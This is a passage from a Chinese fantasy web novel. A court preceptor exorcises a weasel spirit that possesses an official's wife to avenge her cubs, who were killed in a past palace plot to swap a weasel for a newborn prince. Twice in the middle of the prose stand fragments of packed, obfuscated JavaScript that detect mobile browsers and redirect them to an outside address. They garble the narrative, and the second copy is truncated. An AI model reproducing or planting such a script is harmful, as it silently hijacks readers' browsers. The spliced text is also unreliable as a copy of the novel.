“三年之后,富家公子对他没了兴致,他出府后就凭借自身优势去了象姑馆做兔儿爷。因长相俊美,又会钻营讨好,两三年后就有了些名声。” “于是便开始学习琴棋书画等风雅之事,将自己包装成风流才俊形象。” 接下来的事情,便是福荣亲自经历的。 李令曦说完之后,就转身离开了。 留下福荣呆愣在原地,一脸难以接受的表情。 “本宫费尽心思找的男宠,竟然是个千人骑万人爬的男倡……” 怪不得他在床帏之间有那么多手段,能拿捏住自己,原来都是在那种腌臜之地学来的! 自己贵为公主,竟然和这样一个伺候过无数男人的贱奴…… 一想到范志良从前在那些男人身下辗转承欢的样子,福荣就忍不住胃里翻滚,阵阵恶心袭来:“呕……” 第二日,福荣公主就带着一马车的行礼和两个丫鬟,离开了皇宫。 ———— 李令曦刚走到门口,就见不远处一个绯红色的身影正焦急地踱来踱去。 一见着她来,那人立马双眼发亮,小跑着过来了。 李令曦有些熟悉之感:“你不是昨日早朝后……” “对对对,正是下官,国师大人好记性。” 绯色男子连连点头,道出来意:“大人昨日说,一日只算三卦,这不我今日就想早早地等着您呢。下官乃太仆寺少卿魏松,家有一难事,想请教大人。” “何事?” “是这样的,近几日以来,我家内子好像有些不太对劲,行为举止颇为怪异。” “怎么个怪异法,详细说来。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16985774|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呃,她变得……有些不像人了。” 魏松回忆着妻子的不同寻常之处,一条条地列出:“晚上就寝时,她总是很晚才睡,第二日早上起床又不见她的人影,于是我让下人去找,发现她竟然睡在草堆里和石头上。” “叫醒之后,她一睁开眼就冲着我们龇牙咧嘴,眼神也充满着敌意,过了一会儿才恢复正常。” “吃饭时也不爱吃做好的饭菜,说自己不饿。可到了晚上,下官却发现她偷偷去了厨房,身手异常敏捷,一下子就把活鸡给逮住了,张开嘴就咬。” “嘴上沾着鸡毛,殷红的鲜血顺着嘴角直往下流,别提多渗人了……” 想起那日半夜在厨房外看到的惊悚一幕,魏松还心有余悸。 他双手微微颤抖着:“除了生吃活鸡,她还、她还生吃老鼠和青蛙。有一天,她还‘嗖’地一下爬上了树,去掏那鸟窝里的鸟来吃。” “凡此种种,不胜列举。总之家中上下是不堪其扰,下官见这么下去不是办法,就找了很多大夫来看,结果全都束手无策。” “正当为此事焦头烂额之时,恰在前日下朝后见识到了大人的神通,所以下官才想找您帮忙。” 魏松抬起双臂,拱手向前,郑重地向李令曦行礼:“请国师帮下官算算。” 李令曦说:“魏大人多礼了,本座算卦有一规矩,先给钱后算卦,不灵不要钱。” “明白,下官已备好银钱。” 魏松连忙去掏自己的衣袖,拿出一张银票。 他官职不算高,在朝十几年,一直兢兢业业,谨小慎微,靠俸禄吃饭。 李令曦瞄了一眼银票上的数目,淡淡道:“十两银子即可。”一百的两银票,想必魏松把小半家底都掏出来了。 看来,他倒是个疼爱妻子的实在人。 魏松一愣,随即感激地道:“多谢国师大人。” 李令曦收下了十两银子,开口道:“你夫人十日前去过山上,她就是在那天被一只黄鼠狼精附身了。” 魏松的眼睛顿时瞪大了,重复道:“黄鼠狼精?” “没错,喜在夜间活动,常栖于石穴、草堆,喜食老鼠、蛙类、家禽等物,这些都是黄鼠狼的明显习性。” 看来,这是一只修行尚浅的黄鼠狼精,还不能很好地控制自己的行为,很容易露馅。 李令曦继续问道:“夫人被附体之后,除了你方才说的那些异常举动,可有袭击人的行为?” 魏松回想了一下,摇摇头:“没有。她就是有些吓人,但也没有主动伤人的举动。” 他又追问道:“大人,这黄鼠狼精究竟为何要附身于内子呢?被精怪附体,会对身体造成什么影响吗?” 李令曦回答道:“目前来看,它并无害人之心,具体原因还不可知。待会儿我给你拿些驱邪符纸,你按照我的要求去做,把黄鼠狼精从夫人体内驱除,调养几天便可恢复。” “若是还有什么问题,再来找我便是。” 魏松拱起手:“太好了,多谢国师!” 半个时辰后,魏松带着李令曦给的驱邪符纸,还有一页手抄的经文回到了家中。 刚进院子,管家就迎了上来,魏松关切地询问道:“夫人今日情况如何?” 管家忧心忡忡地回道:“还是那个样子,眼看到晚饭的点了,人又不见了,估计又在哪个角落逮耗子呢。” 19.第 19 章 魏松倒是神清气爽,他拍了拍衣袖:“放心吧,今日专门去找大国师,她给了一些东西,这下夫人有救了!” “东西……什么东西?” 管家跟在魏松后面追问道:“老爷,国师算出夫人是怎么回事了?” “没错。”魏松压低了声音,“夫人是被黄鼠狼精附体了。” “黄鼠狼——”管家失声叫道,魏松急忙伸出手指:“嘘……小点声儿,别被那精怪听到了。” “哦对、对。” 管家也压着嗓子,悄声问道:“老爷,那接下来咱们该怎么做?” “进屋去说。”…… 一刻钟后,管家从屋内出来,隐隐听到厨房那边又传来了丫鬟的惊呼声,还有夫人异常尖利的呵斥声。 他叹了口气,向门外走去。 午膳时分,丫鬟慧儿战战兢兢地敲着魏夫人的房门,颤声问道:“夫人,这是您让奴婢准备的食物,奴婢给您送来了。” 等了一会儿,却没听见脚步声,慧儿的眼神害怕地扫过手中的托盘,那用瓷碗盖着的地方,传来几声“咚咚”的撞击。 她心惊肉跳地闭了闭眼,努力地控制着自己发抖的双手。 忽然,门从里面猛地一下打开了。 魏夫人那张略显刻薄瘦削的脸出现在门缝里,她脖子前倾,佝偻着身子,一双白净纤细的手伸了出来,形如鸡爪般地垂着。 慧儿吓了一跳,差点没站稳,不敢直视她,将托盘向前递去:“夫、夫人,您要的食物……” 魏夫人探出头抽了抽鼻子,嗅到熟悉的味道,咧开嘴一笑。 她快速地把托盘一拿,一句话也没说,转身“砰”的一声碰上了门。 不一会儿,里面传来青蛙的叫声和撕扯咀嚼肉类的声音,听得人毛骨悚然。 慧儿再也不敢多待,慌忙离开了。 回到厨房时,就见管家在炉前煎药。 见慧儿回来了,管家招呼道:“你来得正好,方才老爷吩咐我去药铺找了些解郁清心、安神定志的药,马上就熬好了,待会儿你送到夫人房里,让她喝下。” 慧儿面露难色,嗫嚅道:“我、我不想去……夫人太吓人了……”她又说道:“管家您让我干什么脏活累活都行,千万别让我去夫人那,算我求您成不?” 见慧儿如此说,管家又问其他的几个丫鬟和婆子,她们的反应如出一辙。 管家无奈地叹了口气:“也罢,那就我去吧。” “不过,还得再找一个胆大力气也大的人在外边,到时我要是一喊,你就进来帮我,否则我一个人也扛不住啊!” 负责杀鸡杀鱼的曾婶站了出来:“我去吧。” 管家端着碗来到魏夫人房门前,悄悄将一张符纸放进了冒着热气的碗里。 符纸遇水即化,很快就溶于汤药。 管家用汤勺搅了两下,伸手去敲门:“夫人,老爷让我给您送汤药来了,让您喝了药再好好休息。” 魏夫人打开门,嘴角还残留着些许粘液状的东西。 她让管家进去,指着桌子道:“先放在这吧,过会儿再喝。” 管家身子一僵,堆起笑容说道:“夫人,老爷交待了,说须得看您把药喝完才放心,趁热喝了吧。” 魏夫人不耐烦地坐下,端起碗准备喝,鼻端敏锐地嗅到一丝不寻常的味道,她皱起了眉头。 “这药有股怪味。” 管家陪着笑脸:“良药苦口利于病嘛。” 魏夫人紧皱着眉,将碗送至嘴边,刚抿了一小口,立刻脸色大变,吐了出来。 管家当即大喊道:“曾婆子赶紧进来!” 曾婶立马跑了进来,两人都一脸严肃地看着魏夫人。 魏夫人戒备地退了一步:“你们想干什么?” 两人对视一眼,分工明确地动了起来,曾婶一把将魏夫人按在座位上,粗糙有劲的大手捏住下巴,迫使其张开嘴,管家则伺机将整碗汤药一股脑地灌了进去。 “咳咳……” 魏夫人摇着头使劲挣扎,呛到了鼻孔里。 曾婶放开手,和管家站在一起观察着她。 只见魏夫人将手伸进了喉咙深处抠着,不一会儿,“哇”地一声吐出了一堆褐色的汤水。 她擦去脸上的污渍,面目狰狞地瞪着管家和曾婶,发出低低的吼叫,像只被激怒的野兽。 “夫人、我们也是不得已……” 管家见状不对,连忙拽着曾婶逃之夭夭了。 而屋内,魏夫人惨白着脸,无力地退坐在床上,抚着心口露出疼痛的表情。 驱邪符虽被吐了出来,但毕竟在身体里有残留。魏夫人——或者说黄三娘,遭受了符咒的侵蚀,修复了好半天才有所缓和,躺下沉沉地睡去了。 魏松一直在门对面的窗子后观察着一切,见管家匆匆逃出,连忙招手问道:“怎么样了?” “回老爷,夫人不肯喝,我们硬灌了进去,可夫人又吐了,还张牙舞爪的,吓得我们只好出来了。” 魏松着急地拍着手背:“这可如何是好?” 对了,还有一张符纸和经文! 他让管家凑近,耳语道:“晚上……” 戌时,天已完全黑了。 管家蹑手蹑脚地来到魏夫人房门前,踮起脚尖把另一张符纸贴在了门楣处。接着,他在院中燃起灯笼,魏松拿着在李令曦那里抄的经文开始念。 “天地自然,秽炁分散。洞中玄虚,晃朗太元……” “乾罗答那,洞罡太玄,斩妖缚邪,度人万千……” “天地玄宗,万炁根本……金光速现,覆护真人!” 最后一句话音刚落,门楣处的符纸乍然散发出金色光芒。 在场的人都惊住了,目光被闪闪的金光所吸引。 很快,屋内开始传出声响。先是重物坠地的沉闷声,接着是一阵呻吟喊叫声。 声音慢慢清晰变大,听起来像是有东西在撞击门窗。 众人的心跟着一上一下,既害怕又好奇。 魏松密切关注着屋内的动静,声音越来越小,直至消失。 管家担忧地问道:“老爷,这是什么情况?” “先别慌,再等等看。” 魏松仍旧盯着前方,眼底透着不安与期待。 忽然,一声极其凄厉的叫声响起,像是动物被捕兽夹逮住时的那种惨叫。 让人不寒而栗。 之后,便再没了动静。 情况与魏松预想的不同,他等了好一会儿,上前推开了门—— 魏夫人脸色苍白地倒在地上,头发披散,衣衫凌乱,像是被利爪撕碎了。 “夫人,你这是怎么了,快醒醒啊!” 魏松跪在地上,去探她的鼻息,暗暗舒了口气:“夫人昏过去了,快去拿套干净舒适的衣服来给夫人换上。” 夜已深,魏夫人一直昏迷不醒,魏松就在她床前陪伴着,最后趴在桌上睡着了。 第二日,天刚蒙蒙亮,魏松就准备出门。 “来人,备轿!” 约摸一个半时辰后,魏松下了朝,他马不停蹄,直奔李令曦而去。 “国师,下官又来叨扰您了。” 魏松将昨日的情况跟李令曦说了,他眉宇间萦绕着忧虑:“那精怪也不知到底要做什么,哪怕被符咒之力重重所伤,也死活不愿离开,这可如何是好啊!” 李令曦注视着前方,眉头微蹙,开口道:“魏大人,本座之前所授之法,乃是驱散邪祟的寻常手段,较为温和。” “可如今看来,附身于夫人体内的精怪,似乎有着极深的执念和怨气,故而才不愿离开。” “这……这可该如何是好?”魏松的声音焦灼急切,带着恳求,“大人,内子的身体已经快撑不住了,请您一定要救救她啊!” “这精怪的意志力很顽强。”李令曦缓缓道,“它不像一般的邪祟,只是单纯地占据人身以图享乐或借机害人,也不是冤魂索命。” 李令曦闭眼感知着:“它好像……背负着某种刻骨铭心的伤痛,这伤痛让它宁愿忍受符咒灼魂之苦,也不愿离开。” 魏松听得心里直发毛:“刻骨铭心的伤痛?它……它为何偏偏会选中内子?” 李令曦睁开眼,说道:“此类精怪虽修行年份尚浅,然灵智初开,最是记恩记仇。至于为何会选中夫人……”她顿了顿,“也许是夫人为人心善,气场与其有微妙的契合之处。又或许是夫人的官眷身份,能帮助它接近想接近,然却又无法凭借自身去接近的人或事。” 魏松有些疑惑:“它想接近的人和事……”究竟是指什么? “魏大人,你虽非权倾朝野,但也是朝中四品官员。”李令曦看向他,“你夫人平常能接触到的,应当是非富即贵之人,甚至是皇亲国戚。” “权贵……皇亲国戚……”魏松顿觉一股寒意自脊背而起,直冲后脑。 那精怪的目标,莫非是朝中之人? 这、这未免也太过骇人听闻了。 李令曦站起身:“事情有些蹊跷,看来本座需得亲自走一遭了。” 既然符咒外力难以奏效,唯有当面探寻其内在本源,才能化解。 “魏大人,烦请带路吧。” 踏入魏府,李令曦就感受到一股阴冷焦躁的气息弥漫其中。 府中下人个个屏息凝神,走路都踮着脚尖,唯恐发出一丝不应有的声响。 “大人,请。” 魏松领着李令曦向内院走去,刚进院门,就听见里屋传来一声尖利的呵斥:“都说了我不吃这些汤汤水水,都给我滚出去,不要来烦我!” 接着又响起碗碟摔碎的声音和丫鬟压抑的啜泣声。 李令曦未受影响,径直走到门前,推门而入。 屋内窗户紧闭,光线有些昏暗,一股淡淡的腥骚气扑面而来。 地上一片碎瓷狼藉,一个小丫鬟正蹲在地上清理,手因为紧张害怕而不停颤抖,被瓷片划了些小口子。 正对着房门的梳妆台前,坐着一人,正是“魏夫人”。 她换上了一身素白的寝衣,坐姿略显僵硬,一头青丝披散在背后,未曾梳理。 听见推门声,她异常机警地转过头来。 魏松的心一下子揪紧了。 那张脸的确是他夫人的,可又分明不是,陌生的眼神,陌生的神态…… “魏夫人”脸色灰白、嘴唇干裂,戒备的眼神里燃着一种异于常人的光芒。 看见李令曦的瞬间,“魏夫人”感知到了她身上散发的强大灵气,立刻站了起来。她弓起身子,如同被侵犯了领地的野兽,喉咙里发出低沉的“嗬嗬”声,似在警告和威胁李令曦。 “大人……”魏松有些担心,上前一步。 “无事。”李令曦抬手制止。 她看着“魏夫人”的眼睛,缓缓开口,声音平和又有力量:“尔等精怪,修行不易,既然你已借人身依附,难道不知此举已违逆天道,久久不离,势必会损人元气,” “当日上山,你假装受伤,魏夫人心存善念,上前查看,给你了可乘之机。魏夫人何其无辜,受此苦楚。你快快离去,切莫因自身执念,祸害无辜之人!” 听了李令曦的话,“魏夫人”的身体剧烈地颤抖起来,那戒备怨恨的眼神闪过一丝挣扎和痛苦。 她猛然开口,嘶吼道:“滚开!这是我的事,你们少管!” 李令曦轻轻摇了摇头:“你的执念,已成为了枷锁,锁住了你,也锁住了无辜之人。” 她向“魏夫人”走去,强大的精神力缓缓收紧,如同一道无形的屏障笼罩:“你可知,怨气冲天,最终会遭到天谴,让你魂飞魄散?本座已算知你心中执念,若你愿离开魏夫人的身体,本座可以帮你,如此尚有一线生机。” “生机?”魏夫人昂起头,脸上表情扭曲,露出一声满含嘲讽与悲凉的狞笑:“说得好听罢了!我的孩儿们无辜惨死的时候……可曾有人给他们生机?!” “你们这些有权有势、心狠手辣的人类,光会说这些冠冕堂皇的话,为了一己私欲,残忍杀害了多少无辜生灵?我的孩儿们……我要为你们报仇!让这些高高在上的人,血债血偿!” “魏夫人”情绪突然爆发,她面目狰狞,毛发竖起,修长手指上的指甲瞬间又长了几分,狠狠地划在桌面上,发出刺耳的“吱吱”声。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16987737|193563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 人脸与尖嘴利齿的黄鼠狼脸不断变换,交替出现。 然而不变的,是那双眼神中隐藏着的痛苦与悲伤,那是一个母亲最大的伤痛与执念。 丧子之痛,足以让一个母亲失去理智,也足以让一个母亲成为无畏的复仇者。 李令曦左手迅速掐了一个安神定魄的法诀,口中默念清心咒,同时右手向上一扬。 霎时,一道无形的禁制笼罩了整个房间,隔绝了内外的声音,也压制了黄鼠狼精爆发的妖力。“魏夫人”的身体僵住,仿佛被无形绳索捆住,不得动弹。 与此同时,那暴虐怒涨的怨气也被遏制住了,她褪去狰狞怒容,脸上现出悲伤之色,发出呜咽的悲泣声。 李令曦走到她面前,目光如炬,沉声道:“黄三娘,你为子复仇的心情我可以理解,但冤有头债有主,你决不能以强占魏夫人之身为由,害她性命。而且,你这样不仅会让自己不足百年的修行功亏一篑,还会魂飞魄散。到时,你那惨死的孩儿们,冤魂又该向何处而去呢?” 她的声音缓和下来:“我今天来此并不是为了强行逼迫你,或致你于死地。你也看到了,如果我想,我可以轻而易举地将你打回原形。” “但我没有那样做,因为我知道事出必有因。” “若信得过我,你可以把事情交给我处理,我会找到害你孩儿的凶手。” 听到自己的本名被叫了出来,黄三娘缓缓抬起头。 李令曦的一番话让她彻底清醒了。 她明白,眼前这个青衣女子的确法力高深,且有着洞察世事与人心的本事。 望着李令曦那双如深潭般幽深澄澈的眼睛,黄三娘卸下了心防,无力地滑靠在椅背上,思绪飘回了多年前。 二十三年前。 城外紫云山。 黄三娘一家在此山中居住了很多年,世代清修,深居简出,很少涉足山下。 三个孩子中,黄大郎是最勤快懂事的,一大早他就跑到林中去找野果,准备带回家给妈妈和弟弟妹妹吃。 深秋季节,山上一片金黄,果子都已熟透,等待小动物去品尝。 橡子、栗子、松子散落满地。还有野莓果,山楂、桑葚、拐枣…… 大郎一会去这棵树下,一会又被另一处的果实吸引,忙得不亦乐乎,完全沉浸在了收获的喜悦中。 与此同时,五个身着劲衣,背着弓弩的男子正骑着马,慢步走在上山的路上。 到了山腰,道路变得崎岖陡峭起来,他们下了马,开始步行。 一个瘦高个抱怨道:“眼下都过了狩猎的时期了,还非要让我们上山来找猎物……” 旁边的单眼皮男子应和道:“就是,还要找什么跟婴儿差不多的猎物。要我说,猎物不是越大越好嘛,那么小的吃起来也没肉啊,真不知道这些贵人们在想什么。” 中间略胖的男子打断他们的话:“咱们拿钱办事,贵人们怎么交待,咱们就怎么办,还是早点弄完好回去交差吧。” 他四处观察了下地形,指着前方的树林道:“咱们分开去找,有什么发现就互相告诉一声。” 五人分成三组,朝不同方位去了。 瘦高个和单眼皮结伴而行,没走多久,他们就发现了黄大郎。 黄大郎正背对着两人,完全没有意识到危险的到来。它瞥见一颗好大的松果,连忙跑过去抱起来,想把里面的松子都摇出来。 瘦高个见状,屏息举弓搭箭,瞄准了黄大郎,手一松。 “咻——”利箭划破空气,以迅雷不及掩耳之势直冲目标射去。 黄大郎还没来得及反应,就被利箭射中了后腿,倒在地上发出“唧唧”的惨叫声。 “干得漂亮,兄弟!” 单眼皮笑着拍了拍瘦高个的肩膀。 “走,咱们把这只黄皮子拿回去跟大哥交差。” 胖子和其他两人毫无所获,于是几人便商议着,用手上这只黄皮子做诱饵,看能不能再多捉几只。 他们把黄大郎腿上的箭拔掉,放在原来的位置,又在四周布下了好几个陷阱。 之后,便躲在树后面暗中窥视。 一棵百年老树下的洞穴中,黄三娘正在修炼。 黄二郎和黄三妹醒来后不见哥哥,又不好打扰娘,便决定自己出去寻找。两刻钟后,他们循着惨叫声找到了黄大郎。 见哥哥倒在地上,腿上流着血,两小只立马不管不顾地冲过来,想救他回去。 不料,却都落入了陷阱,不得动弹。 又等了会儿,见没有其他动物,胖子几人用布袋把三只黄皮子装了起来。 “逮了三只,这下总算是完成任务了,走,下山!” 山间马蹄奔腾,惊动了精修的黄三娘,她这才发现三个孩子都不在身边。 “大郎,二郎,三妹,你们又跑哪玩去了?” 没有回应。 黄三娘忽然涌起一股不好的预感,连忙去找。 发现了血迹和捕兽夹,她的心顿时沉了下去。 待她顺着马蹄声一路追踪,却见那些人早已下了山,扬长而去。 他们的最终方向,是皇宫。 黄三娘的眼中满是愤恨和绝望——她知道,自己已经无法救回三个孩子了。 ———— 深夜。 皇宫,毓秀宫。 某处不引人注意的屋子里还亮着灯。 灯影幢幢中,有一男一女的身影。 女子是杜贵妃,男子则是宋青阳。 彼时的宋青阳还不是国师,只是一个年纪尚轻的法师。因会些看相算命、驱邪堪舆的本事,被杜琼芝请来办事。 宋青阳将布袋子里奄奄一息的三只黄皮子倒了出来。 看着那血肉模糊的样子,杜贵妃面露嫌恶,掩着鼻子:“怎么找的都是黄皮子,就没有别的吗?” “娘娘息怒,如今已是深秋,猎物不好找,能弄来这三只已经很不错了。” 宋青阳将黄皮子拎起来打量着:“况且这几只黄皮子的个头也恰好合适,应该问题不大。” “既如此,就交给大师你来处理吧。本宫可不想让这些东西脏了手。” 20.第 20 章 杜贵妃在一旁的椅子上坐下,喝起了茶。 宋青阳让下人备好了剃刀、柴火、锅和水,从黄大郎开始。 先是将黄大郎身上的毛全部剃掉,接着放入烧得滚烫的开水中。 瞬间,屋内响起黄大郎凄厉万分的惨叫,一旁的下人不忍心地别开了眼睛。 黄大郎就这样被活活烫死了。 接着是黄二郎,宋青阳命人将其四肢和尾巴全部砍掉,只剩躯干和头。 为了防止其惨叫声引来人,宋青阳中途又给他们喂了毒哑嗓子的药。 可怜的黄二郎忍受着锥心的疼痛,血液流干而亡。 最后是黄三妹,她是被吊起来,放在火上,一点点烤死的。 浑身的皮肉都被烤得黢黑焦烂,惨不忍睹。 三只无辜的黄皮子就这样以极其残忍的方式被害死了。 宋青阳将三具尸体按顺序摆放在木盘中,拿给杜贵妃:“娘娘,您看这三个,哪一个最合您心意呢?” 杜贵妃擦了擦嘴角,站起身来,一边皱着眉一边扫视着。 “……就这个吧,看起来还比较像刚生下来的妖孽。” 她指着黄大郎的尸体交待道: “把这个拿到地窖中,用冰块封存好。那位的预产期就在这几日了,到时再拿出来用。” “是,娘娘。”宋青阳点头,“那这剩下的……” 杜贵妃摸着指甲上的丹蔲,漫不经心地垂下眼皮。 “烧了吧,看着怪恶心的。” …… 回想起三个孩子冤魂托梦告知的死状,黄三娘痛不欲生。 “我的孩儿们啊——你们死得好惨,是娘没用,保护不了你们,该死的是娘啊!” 黄三娘瘫软在地,仿佛被抽去了全身的骨头,悲戚愤恨的呐喊声字字泣血。 她双眼空洞地望着地上,嘴里喃喃低语着:“是我无能……我眼看着他们被抓走,可我却无能为力……” “那里的气息如同龙潭虎穴,有可怕的东西守护着,我根本无法靠近,更别提报仇了……” 李令曦猜测,应该是宋青阳在杜贵妃的宫殿外布置了阵法,再加上皇宫威仪森严,有龙气守护,像黄三娘这样的低等级精怪无法接近。 黄三娘艰难地抬起头,眼神中带着绝望和哀求看着李令曦: “我选中了魏夫人,她是官家夫人,福泽深厚,或许能靠近那个地方……又或许能引来您这样真正的大师……” “大师!”黄三娘挣扎着爬向李令曦,向她叩拜: “我黄三娘自知罪孽深重,逆天而行,可我那三个孩儿何其无辜!他们尚未见识这广阔天地,便遭此毒手,血海深仇,不共戴天!” “我求您……”她伸出手拉住李令曦的裙角,哀痛地祈求。 “求您替我主持公道!只要能帮我那三个孩儿讨回血债,我黄三娘任凭大师处置,哪怕魂飞魄散,永世不得超生,也在所不惜!” 说完最后一个字,黄三娘似用尽了全身的力气,再也支撑不住地往下倒。 在意识尚存的最后一刻,她听见了李令曦说出的那句话——“我答应你。” 她合上眼皮,欣慰地笑了,在彻底倒下之前,抽离了魂魄。 魏松眼见一缕黄烟从自己夫人的身上飘出,连忙着急地问李令曦:“国师,这、她可是……” 李令曦点头:“她已从夫人身上离开。” 不一会儿,那黄烟凝聚成形,黄三娘现出了真身。 她郑重地向李令曦磕了一个头,随后便静静待在原地,准备接受李令曦对她的处置。 可她等了一会儿,却不见李令曦有任何动作,疑惑地抬头看她。 李令曦说道:“黄三娘,你虽强占人身,致魏夫人元气受损,但好在没有伤及性命,酿成大祸。” “念在你为子报仇,其情可原,本座便不再追究。” “但需记住,从今往后,你要潜心修行,多做好事,一心向善,记住了吗?” 黄三娘眼眶中溢出了泪水,她直起身子,双爪合十,连连向李令曦叩拜。 “行了,你且去吧。” …… 黄三娘走后,李令曦又给魏夫人开了一剂补气定心的药方,让魏松命下人抓药煎服,连服三日便可恢复元气。 把夫人妥善安置之后,魏松想起方才黄三娘所说的“那个地方”,心中隐隐有些不安和惶恐。 二十三年前,魏松还未满二十岁,当时并未入京。 不过后来也听说了一些只言片语。 当年那件事在宫中引起不小的震荡,堪称骇人听闻。后来先皇派人封锁消息,严令禁止宫中议论传播,随着时间的推移,慢慢平静了风波,鲜少有人提及。 如今遇见了这黄鼠狼精,其所述之事,竟似与当年奇闻息息相关…… 魏松看向李令曦,欲言又止。 “想问什么就问吧。”李令曦说。 魏松迟疑开口:“下官冒昧,敢问大人,那黄三娘的意思莫非是指当年的……黄皮子换皇子?!” 李令曦点头:“正是。” 早在见到萧旭的第一面时,她就从其面相上看出了端倪。 不过此事事关皇室血脉,阴谋颇深,牵扯甚广,还需找到实证方可彻底令众人信服。 李令曦事务缠身,还未着手去查,黄三娘一事恰巧提供了线索。 接下来,她会继续暗中搜集证据。 见魏松神色惊骇,面如白纸,李令曦知道他被吓得不轻,便说道:“魏大人,此事已超过你的承受和解决范围,你就当不知道,一切交由本座来处理,记住了吗?” 魏松回过神来,点点头:“国师放心,下官明白。” …… 李令曦从魏府出来,回宫去了。 她眼前浮现出二十三年前的一切…… 当时,先皇尚未立后,宫中嫔妃们个个都铆足了劲争宠,希冀一举怀胎,诞下龙子,荣登后位。 而在后宫之中,最得圣宠的便是陆妃与杜妃。 两人年岁相当,都是名门之女,一个清纯温婉如雪莲,一个娇艳妩媚似玫瑰。 陆妃为人和善,蕙质兰心,德才兼备,除后宫妃嫔,她在不少朝中大臣心中也是母仪天下的典范。 杜妃心有城府、绵里藏针、敏感多疑,总是明里暗里给其他妃子使绊子,手段阴险毒辣。 对陆妃这个最大的竞争对手,杜妃一直与其暗暗较劲,唯恐其风头胜过自己,更害怕对方会成为皇后。 先皇二十四岁那年的初春,后宫一片沸腾——陆妃有了身孕! 消息传到毓秀宫,杜妃当即沉下脸,狠狠摔碎了花瓶。 下人们都战战兢兢,小心谨慎,生怕惹怒主子遭来横祸。 整个毓秀宫弥漫着一片紧张压抑的氛围。 杜妃气得一口银牙都快被咬碎了,怒不可遏地又将桌上的茶壶杯具连同桌布一起用力扯下。 一片哗啦声响起,杜妃胸膛剧烈起伏,坐回凳子上,愤懑骂道: “陆韫雪那个贱人,凭什么能抢先于本宫怀上龙胎?整天一副故作温婉贤淑的模样,装给谁看呢,也不知道背地里使了什么手段,让陛下和朝臣们都为她说话。” “这贱人如今有了身孕,岂不是要更加得意了,说不定就会母凭子贵,一举封后……本宫不甘心,不甘心!” 杜妃捏起拳头,狠狠捶向桌面,眼神里似乎要迸出火花。 掌事姑姑兰英在一旁劝慰道:“娘娘莫要生气,气坏了身子可不值当,到时人家可就高兴了,您说是不是?” 杜妃深吸了口气,勉强平复着情绪,点点头:“你说得对,如今本宫要是出了什么事,恐怕正如了那些贱人的意,本宫可不干这吃亏的事!” 说罢,她又叹了口气,看向了自己扁平的肚子: “兰英啊,你说本宫比她陆韫雪还早入宫两个月,怎么这肚子就这么不争气呢?” 她忽而担忧起来:“你说,会不会是本宫不能生啊……” 否则怎么会这么久都没有动静呢? “呸呸呸!娘娘您可别瞎说。” 兰英连忙否定了杜妃的猜测:“娘娘您一定能生皇子,只是……只是眼下还未到时候。” “可就算到时怀上了,那也是在陆韫雪那个贱人的后面,万一、万一陛下立她为后了,那本宫不就没机会了……” 想到以后的局面,杜妃焦灼不已。 若陆韫雪为后,将来她的孩子不出意外就是太子。 那自己岂不是永远要被陆韫雪压着了?不仅如此,自己的孩子也会永远被她的孩子压着…… 不,不! 杜妃激动地站起身来。 她绝不会允许陆韫雪占尽上风! 她要想办法阻止这一切! 可是该怎么做呢…… 自己与陆韫雪一向不和,这是人尽皆知的。 如今陛下又因其怀有身孕而对其宠爱有加,还特地下令对未央宫严加防范,不许任何人无端打扰陆妃养胎。 如果在陆韫雪怀孕期间动手脚,那么自己一定会成为众矢之的,引火上身,得不偿失。 看来,只能从其他方面下手了。 杜妃突然若有所思地盯着兰英看,兰英莫名心中一紧,小心询问道: “娘娘,您为何这样看着奴婢,可是想到了什么?” 杜妃笑了笑,问道:“兰英,你入宫已有些年头了吧。” “回娘娘,奴婢十四岁入宫,如今已快九年了。” 杜妃点了点头:“如此说来,还有两年多便可以放出宫去了。” “是……” 兰英有些紧张,不知杜妃为何会提起这个话题,她猜测着杜妃的心思,努力斟酌言辞: “娘娘,您若是用得上奴婢,奴婢愿意一直侍奉您。” 杜妃走到跟前,拉起她的手:“你这是把本宫当成什么人了,到了年限便放你出宫,这是规矩,本宫岂会一直耗着你?” “娘娘,奴婢口拙,不是那个意思……”兰英低着头解释。 杜妃拍了拍她的手:“你放心,本宫要你帮一个忙。事成之后,本宫允诺,让你提前出宫。” 兰英一下子抬起了头,瞪大了眼睛:“娘娘您……您说的可是真的?” 这个条件,对于她这样的宫女来说,确实很有诱惑力。 “当然是真的,本宫说到做到。”杜妃笃定地看着她。 “那、那您要奴婢做什么?” “我要你帮我找一个人。” “一个与陆韫雪怀孕时间差不多的女人。” …… 杜妃附在兰英耳边,悄声交待了一番。 “奴婢明白了,这就着手去做。” 兰英离开后,杜妃脸上浮现出了一抹志在必得的笑容。 陆韫雪,我杜琼芝想要的东西,谁也拦不住!既然你非要挡我的路,那就别怪我手下不留情了! 十多天后,毓秀宫内。 一派喜气洋洋的氛围。 杜妃也有喜了! 皇帝萧辰闻讯来探望,喜笑颜开。 “琼芝啊,你和雪儿两个真不愧是朕最疼爱的人,一前一后都怀上了龙胎,朕这下可真算得上是双喜临门了,哈哈哈哈……” 杜琼芝轻柔地抚着自己的肚子,笑着回道:“臣妾何德何能,还不都是仰仗陛下的恩宠。” “哈哈……好!好!你辛苦了,朕回头让人给你赏赐,你可要好好养胎,切莫再像以前那样贪玩好动了!” “陛下,臣妾哪有~”杜琼芝嗔怪道。 “好好,是朕说得不对。你饿了没,让厨房做些好吃的来。” …… 萧辰难得心情好,在毓秀宫与杜琼芝说话逗乐,待了好长时间。 